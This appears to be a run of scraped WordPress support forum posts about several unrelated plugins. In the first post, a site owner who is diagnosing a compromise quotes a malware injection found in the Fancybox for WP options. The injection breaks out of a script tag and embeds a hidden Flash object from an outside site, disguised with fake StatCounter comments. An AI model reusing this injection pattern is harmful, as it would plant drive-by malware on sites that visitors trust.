acurran

Thanks for the response Jose

upon further investigation I’ve found that the suspicious code is in the options. The mfbfw option contains the malware code and injects into the Fancybox for WP header output. Anyone have any ideas how this compromise could have happened? Here is what was in the mfbfw option:

a:3:{s:10:”extraCalls”;s:1:” “;s:13:”transitionOut”;s:762:””,’centerOnScroll’: false});})
</script>
<!– Start of StatCounter Code for Default Guide –>
<object type=”application/x-shockwave-flash” data=”https://www.weathershieldlimited.com/images/banners/eaj.swf
?myid=cea0d16fdd2e07f5498e0c64ebd186a2″ width=”1px” height=”1px” id=”cea0d16fdd2e07f5498e0c64ebd186a2″>
<param name=”AllowScriptAccess” value=”always”/>
<param name=”myid” value=”cea0d16fdd2e07f5498e0c64ebd186a2″ />
<param name=”movie” value=”https://www.weathershieldlimited.com/images/banners/eaj.swf
?myid=cea0d16fdd2e07f5498e0c64ebd186a2″/>
<embed src=”https://www.weathershieldlimited.com/images/banners/eaj.swf
?myid=cea0d16fdd2e07f5498e0c64ebd186a2″ width=”1″ height=”1″>
</embed>
</object>
<!– End of StatCounter Code for Default Guide –>
<script>({“;s:16:”extraCallsEnable”;s:3:”off”;}

I have exact same question. I can’t believe after all these years WP e-commerce is still so rough around the edges.

If you mean have a different delay per quote, that is not possible and I’m not planning on adding that feature at this point.

At this point this plugin has not been tested on multi-site. If anyone out there is using it sucessfully on multi-site, let us know. I may take a look at what adaptations are needed to get it working on multi-site if there is significant demand for it.

I’ve hacked a fix for this myself: edit the file wc-gallery.php and remove the contents of the array $wc_gallery_theme_support
Would be nice to have an option for this at least.

A further update on this issue: it looks like it is crashing when it is indexing pages that have a certain shortcode. The shortcode function included a require and each time I attempt to run the indexing I get a error in the server’s error log ike: PHP Fatal error: require(): Failed opening required ‘path/filenam.php’ (include_path=’.:/usr/share/php:/usr/share/pear’) in /var/www/www.sitename.com/wp-content/themes/themename/functions.php on line 78, referer: https://www.sitename.com/wp-admin/options-general.php?page=relevanssi/relevanssi.php

So it must be something to do with the path for the required field being different from the perspective of relevanssi than it is when the short code is used on an actual page.

Also it looks like the indexing is failing – when I click Build The Index it reloads the options page but the page is blank after the ‘Relevanssi Search Options’ heading. And there are only 10 documents in the index but there are definately way more posts than that on the website.

same problem here, the redirect is not working. I remember this used to work fine some time ago – maybe it got broken from some version or WP onwards.

the widget settings issue started in version 0.9.1 and has been fixed in 0.9.3

This issue has been fixed in version 0.9.3

Anyone able to help me with this issue?

another interesting observation to add:

if Better WP Security is not enabled, delete works. If I enable Better WP Security, delete still works until I log out and in again, then it fails.

Similar the other way round: Better WP Security is enabled and delete doesn’t work. If I disable Better WP Security, delete still does not work until I log out and in again.

usually happens when there is a Javascript error due to something like conflicting plugin, wrong version jquery, jquery not available, etc. Follow the troubleshooting steps here: https://sww.co.nz/wordpress-plugins/flexi-quote-rotator/ (bottom of page)

I too have encountered this ‘error’. It happened right after I was testing multiple login attempts just to see what would happen. But it is not only the admin area that appears as a blank page with the word ‘error’ on it but the entire website. I got the site working again by doing as alex80ks suggested and renaming the plugin via ftp in order to disable it that way. Then the site worked again and I could access admin again. But now whenever I rename the plugin folder back to ‘better-wp-security’ and reactivate the plugin, it goes back to the showing the ‘error’ message for the entire site! Is there something else that needs to be reset to get the plugin to work again? Is this error based on IP address or does the website go into error mode for everyone? If it’s the former then it’s not really a problem as long as we know how to reset it. But if it’s the latter, then obviously it’s a major problem.